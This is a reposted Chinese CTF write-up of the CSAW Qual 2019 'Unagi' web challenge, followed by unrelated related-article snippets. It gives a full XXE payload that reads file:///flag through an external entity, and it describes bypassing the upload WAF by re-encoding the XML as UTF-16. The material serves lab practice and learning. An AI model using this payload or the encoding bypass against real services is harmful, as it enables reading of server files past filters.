buuctf_练[CSAWQual 2019]Web_Unagi

news2024/10/6 12:26:25

[CSAWQual 2019]Web_Unagi

文章目录

      • [CSAWQual 2019]Web_Unagi
      • 掌握知识
      • 解题思路
      • 关键payload

掌握知识

XXE漏洞利用,xml文件转换编码绕过WAF(UTF-8 --> UTF-16),xml文件格式的书写

​ 再遇到上传xml文件被拦截,就尝试修改编码再上传,换成其他的编码可能就匹配不到了UTF-16

解题思路

  1. 打开题目链接,有四个关键的导航栏,内容分别为欢迎语,用户信息,上传文件,提示flag/flag

image-20231013192101185

  1. 其中上传文件界面有上传文件的例子,点开发现是xml文件,看来多半是上传xml文件,进行XXE读取flag的利用了

image-20231013192250835

image-20231013192253691

  1. 根据网页上给出的XML的代码,将所有标签都复制下来,添加XXE利用头,再修改一个标签的内容,改成&admin;为了输出命令执行的结果。这里需要添加<intro>标签,因为其他标签长度不够不能显示完整的flag值,改标签能在user界面看到。
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&admin;</intro>
    </user>
</users>

image-20231013192518334

  1. 最关键的知识点就是,直接上传会被WAF拦截,这里需要用到XML文件转换编码来进行绕过,将UTF-8转换成UTF-16,使用vscode打开,直接在右下角更改编码即可。这个知识点确实第一次知道,记下来,以防后面用到。ctf考的就是知识点的积累,记得的题会,没遇到的知识点就会卡住了。上传编码后的文件,界面会输出flag

image-20231013192659712

image-20231013192830383

关键payload

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&admin;</intro>
    </user>
</users>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1136613.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

13.5 Junit5(针对Java的单元测试框架)

一.Junit是针对Java的单元测试框架 二.注解 1.Test: 当前的方法是一个测试用例. a.去maven中央仓库下载依赖(JUnit Jupiter API) <!-- https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter-api --><dependency><groupId>org.junit.jupi…

企业/公司文件加密软件|办公文件、文档、图纸加密|源代码透明加密保护防止外泄。dlp数据泄露防护系统

天锐绿盾是一家专业的数据安全保护解决方案提供商&#xff0c;其产品包括文件加密、图纸加密、源代码加密、音视频加密等智能透明加密保护。 PC访问地址&#xff1a; https://isite.baidu.com/site/wjz012xr/2eae091d-1b97-4276-90bc-6757c5dfedee 以下是天锐绿盾的优势和特点…

利用Pholcus框架提取小红书数据的案例分析

前言 在当今互联网时代&#xff0c;数据的获取和分析变得越来越重要。爬虫技术作为一种数据采集的方法&#xff0c;被广泛涉及各个领域。在本文中&#xff0c;我们将介绍如何使用Python Spark语言和Pholcus框架来实现一本小红书数据爬虫的案例分析。 开发简述 Go语言作为一种…

20231026_java基础_设计模式

20231026_java基础 设计模式概念分类 单例模式概念代码实现饿汉式懒汉式对比差异 总结 设计模式 概念 分类 归纳 运用 单例模式 概念 代码实现 饿汉式 测试:获取实例对象,并测试有多个该对象时,他们是否相同 懒汉式 对比差异 代码实现中 饿 懒 过程中 并发时 总结 111

【uniapp】富文本

1、富文本显示&#xff0c;只显示文字&#xff0c;其余html不显示 功能&#xff1a;红框处其实是一个富文本&#xff0c;有图片之类的。但是现在不想根据html显示&#xff0c;只显示文字。 直接上代码 //内容显示 <view>{{item.fhArticleVo.content}}</view> // …

浅谈开口互感器在越南美的工业云系统中的应用

摘 要&#xff1a;分析低压开口式电流互感器的原理&#xff0c;结合工程实例分析开口电流互感器在低压配电系统中&#xff0c;主要是改造项目中的应用及施工细节&#xff0c;为用户快速实现智能配电提供解决方案&#xff0c;该方案具有成本低、投资少、安装接线简便等优点&…

浪潮云海首席科学家张东:面向一云多芯的系统设计方法

近日&#xff0c;浪潮云海首席科学家张东、资深研究员亓开元在《中国计算机学会通讯》2023年第9期发表论文《面向一云多芯的系统设计方法》&#xff0c;深入分析一云多芯背后的关键挑战问题&#xff0c;阐释面向一云多芯的系统设计方法和关键技术路线&#xff0c;并在此基础上&…

mysql查看插入记录与查看mysql实时查询和插入速度

我真正关心的数据 比如一秒钟到底能插入多少行数据?慢查询有多少? 慢是一个相对概念,慢的绝对值时间是可以设置的,例如我设置long_query_time为10秒,那么但凡超过10秒的查询都可以认为是慢查询查询操作的超时时间mysql中系统变量什么意思?怎么查看系统变量? show varia…

用户登录后首页不显示数据

登录前&#xff1a; 登录后&#xff1a; 用户登录后&#xff0c;首页的图标按键、

python excel接口自动化测试框架

前言 前些天写了pytestyamlallure接口自动化测试框架这篇文章。 今天采用Excel继续写一个接口自动化测试框架。 设计流程图 这张图是我的excel接口测试框架的一些设计思路。 首先读取excel文件&#xff0c;得到测试信息&#xff0c;然后通过封装的requests方法&#xff0c…

实用篇-认识微服务

一、服务架构演变 1. 单体架构 单体架构&#xff1a;将业务的所有功能集中在一个项目中开发&#xff0c;打成一个包部署 单体架构的优点&#xff1a; 架构简单部署成本低 单体架构的缺点&#xff1a; 耦合度高 2. 分布式架构 分布式架构&#xff1a; 根据业务功能对系…

nvm安装与使用详解(Window11)

文章目录 前言一、卸载 node.js卸载清理缓存&#xff08;有的不执行此步骤后面会报错&#xff09; 二、下载 nvmnvm 下载点开链接之后如图鼠标鼓轮往下滑下载完成后解压打开检查是否安装成功 三、安装多个 node.js 版本nvm 常用命令安装 nodenvm使用 四、删除 nvm删除文件夹删除…

10月26日星期四今日早报简报微语报早读

10月26日星期四&#xff0c;农历九月十二&#xff0c;早报微语早读分享。 1、神十七瞄准10月26日11时14分发射&#xff0c;汤洪波唐胜杰江新林执飞&#xff1b; 2、交通运输部&#xff1a;2024年春节除夕至初八小客车免通行费&#xff1b; 3、6个经济大省“三季报”&#xf…

Unable to find GatewayFilterFactory with name TokenRelay

目录 问题分析解决方案参考文档开源项目微服务商城项目前后端分离项目 问题分析 Spring Cloud Gateway 网关作为代理资源服务器&#xff0c;需要将 JWT 传递给下游资源服务器&#xff0c;下面是网关的配置 spring:cloud:gateway:discovery:locator:enabled: true # 启用服务发…

电力系统保卫战:迅软DSE加密系统的关键角色

随着信息技术的高速发展和广泛应用,数据作为业务的重要支撑需要精细和可控。电力电网行业信息系统作为国家关键重要基础设施,在数据方面的安全防护能力,已成为电力电网业务安全稳健运行的重中之重&#xff0c;数据安全所面临的危险已渗透到电力电网企业生产、经营的各个方面&am…

ATFX汇市:欧央行利率决议来袭,能够逆转欧元跌势吗?

ATFX汇市&#xff1a;今日20:15&#xff0c;欧央行公布10月利率决议结果&#xff0c;金融机构普遍预期欧央行将按兵不动。至10月26日欧洲央行主要再融资利率的前值为4.5%&#xff0c;预期值持平。当日20:45&#xff0c;欧洲央行行长拉加德召开货币政策新闻发布会&#xff0c;重…

美国访问学者申请签证的五点建议

当你计划成为一名美国访问学者时&#xff0c;申请签证是其中一个必要的步骤。签证申请程序可能会有一些复杂&#xff0c;但如果你遵循以下五点建议&#xff0c;你将更有可能成功获得签证&#xff0c;顺利开始你的学者之旅。 1.早做准备&#xff0c;提前规划&#xff1a;在申请签…

2023探寻室内设计的新趋势与即将流逝的旧潮流

起初认为&#xff0c;”室内设计趋势 “可能是一个矛盾的术语。家具、纺织品、艺术品和墙面装饰都太繁琐、太昂贵、太持久&#xff0c;不可能经常更新。 然而&#xff0c;钟摆确实在摆动&#xff0c;尽管摆动的时间长达数年或数十年&#xff1a;20 世纪 70 年代铺着长毛地毯的波…

几个常用的nosql数据库的操作方式

dynamoDB 键 partition key&#xff1a;分区键 定义&#xff1a;分区键是用于分布数据存储的主键&#xff0c;每个项&#xff08;Item&#xff09;在表中都必须有一个唯一的分区键值。 特点&#xff1a; 唯一性&#xff1a;每个分区键值在表中必须是唯一的&#xff0c;这是因为…

檢測項目簡體字

某些項目可能要求代碼中不允許使用簡體字 安裝stcheck檢查 yarn add stcheck --dev在項目根目錄創建 st.config.json 文件 {"patterns": ["./**/*.(ts|js|tsx|jsx|vue|html)","!**/node_modules/**","!.git/**"],"gitignore&q…